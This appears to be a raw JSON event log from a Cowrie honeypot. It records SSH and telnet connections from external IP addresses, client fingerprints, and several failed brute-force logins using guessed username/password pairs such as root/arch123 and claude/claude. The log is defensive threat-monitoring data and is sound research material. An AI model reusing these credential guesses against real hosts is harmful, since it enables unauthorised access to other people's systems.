{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:38:41.090481Z","src_ip":"103.20.223.56","session":"7c6ef0ce2aba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:38:41.697377Z","src_ip":"103.20.223.56","session":"7c6ef0ce2aba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50556,"dst_ip":"10.17.0.5","dst_port":23,"session":"5184b4176f35","protocol":"telnet","message":"New connection: 192.119.13.58:50556 (10.17.0.5:23) [session: 5184b4176f35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:38:43.530301Z"}
{"eventid":"cowrie.session.closed","duration":0.005114316940307617,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:38:43.535004Z","src_ip":"192.119.13.58","session":"5184b4176f35","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.36348223686218,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:38:45.275409Z","src_ip":"192.119.13.58","session":"1e4d99fba8e1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.177.27","src_port":37086,"dst_ip":"10.17.0.5","dst_port":22,"session":"76b2512ea0bc","protocol":"ssh","message":"New connection: 43.134.177.27:37086 (10.17.0.5:22) [session: 76b2512ea0bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:38:48.289011Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:38:48.295088Z","src_ip":"43.134.177.27","session":"76b2512ea0bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:38:48.541817Z","src_ip":"43.134.177.27","session":"76b2512ea0bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"arch123","message":"login attempt [root/arch123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:38:49.557018Z","src_ip":"43.134.177.27","session":"76b2512ea0bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:38:49.652407Z","src_ip":"103.210.22.17","session":"5738b4ca67da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:38:50.806463Z","src_ip":"43.134.177.27","session":"76b2512ea0bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.278830766677856,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:38:51.259672Z","src_ip":"192.119.13.58","session":"4f55e9ff87f4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"59.126.224.134","src_port":41690,"dst_ip":"10.17.0.5","dst_port":22,"session":"0ef53e8e007e","protocol":"ssh","message":"New connection: 59.126.224.134:41690 (10.17.0.5:22) [session: 0ef53e8e007e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:38:54.979751Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:38:54.986756Z","src_ip":"59.126.224.134","session":"0ef53e8e007e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:38:55.199295Z","src_ip":"59.126.224.134","session":"0ef53e8e007e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ariana","message":"login attempt [root/ariana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:38:56.180355Z","src_ip":"59.126.224.134","session":"0ef53e8e007e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:38:57.404298Z","src_ip":"59.126.224.134","session":"0ef53e8e007e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.013216972351074,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:38:57.979764Z","src_ip":"192.119.13.58","session":"030863f31a7b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.539713621139526,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:38:58.774414Z","src_ip":"192.119.13.58","session":"79830069e832","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58418,"dst_ip":"10.17.0.5","dst_port":23,"session":"4856b0c82313","protocol":"telnet","message":"New connection: 192.119.13.58:58418 (10.17.0.5:23) [session: 4856b0c82313]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:38:59.452974Z"}
{"eventid":"cowrie.session.closed","duration":38.61866211891174,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:38:59.652360Z","src_ip":"192.119.13.58","session":"8b4fd475eec5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.225.56.202","src_port":48262,"dst_ip":"10.17.0.5","dst_port":22,"session":"974c62d5fc85","protocol":"ssh","message":"New connection: 35.225.56.202:48262 (10.17.0.5:22) [session: 974c62d5fc85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:39:03.000264Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:39:03.005700Z","src_ip":"35.225.56.202","session":"974c62d5fc85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:39:03.045471Z","src_ip":"35.225.56.202","session":"974c62d5fc85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asterisk","message":"login attempt [root/asterisk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:39:03.220528Z","src_ip":"35.225.56.202","session":"974c62d5fc85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:39:04.260222Z","src_ip":"35.225.56.202","session":"974c62d5fc85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.177.217","src_port":49770,"dst_ip":"10.17.0.5","dst_port":22,"session":"81a75405dfc6","protocol":"ssh","message":"New connection: 43.135.177.217:49770 (10.17.0.5:22) [session: 81a75405dfc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:39:06.579384Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:39:06.586327Z","src_ip":"43.135.177.217","session":"81a75405dfc6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:39:06.655925Z","src_ip":"43.135.177.217","session":"81a75405dfc6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:39:06.962371Z","src_ip":"43.135.177.217","session":"81a75405dfc6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57970,"dst_ip":"10.17.0.5","dst_port":23,"session":"f4dae92b37b2","protocol":"telnet","message":"New connection: 192.119.13.58:57970 (10.17.0.5:23) [session: f4dae92b37b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:39:06.998351Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59576,"dst_ip":"10.17.0.5","dst_port":23,"session":"59a491f76671","protocol":"telnet","message":"New connection: 192.119.13.58:59576 (10.17.0.5:23) [session: 59a491f76671]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:39:07.466323Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:39:08.035473Z","src_ip":"43.135.177.217","session":"81a75405dfc6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.24776315689087,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:39:13.614863Z","src_ip":"192.119.13.58","session":"cffa3fcd9921","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.166.103.173","src_port":41140,"dst_ip":"159.203.135.109","dst_port":22,"session":"691f7f5920be","protocol":"ssh","message":"New connection: 103.166.103.173:41140 (159.203.135.109:22) [session: 691f7f5920be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:39:19.793573Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:39:19.802802Z","src_ip":"103.166.103.173","session":"691f7f5920be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:39:20.038677Z","src_ip":"103.166.103.173","session":"691f7f5920be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"k0nig2022","message":"login attempt [root/k0nig2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:39:20.994872Z","src_ip":"103.166.103.173","session":"691f7f5920be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60692,"dst_ip":"10.17.0.5","dst_port":23,"session":"28252644d2cb","protocol":"telnet","message":"New connection: 192.119.13.58:60692 (10.17.0.5:23) [session: 28252644d2cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:39:22.168813Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:39:22.228382Z","src_ip":"103.166.103.173","session":"691f7f5920be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":37386,"dst_ip":"10.17.0.5","dst_port":22,"session":"d528331b07f8","protocol":"ssh","message":"New connection: 80.94.92.184:37386 (10.17.0.5:22) [session: d528331b07f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:39:22.510436Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:39:22.630501Z","src_ip":"80.94.92.184","session":"d528331b07f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:39:22.635877Z","src_ip":"80.94.92.184","session":"d528331b07f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.233.48.169","src_port":39722,"dst_ip":"10.17.0.5","dst_port":22,"session":"64fd616d08fd","protocol":"ssh","message":"New connection: 193.233.48.169:39722 (10.17.0.5:22) [session: 64fd616d08fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:39:22.768237Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:39:22.772577Z","src_ip":"193.233.48.169","session":"64fd616d08fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:39:22.898672Z","src_ip":"193.233.48.169","session":"64fd616d08fd","protocol":"ssh"}
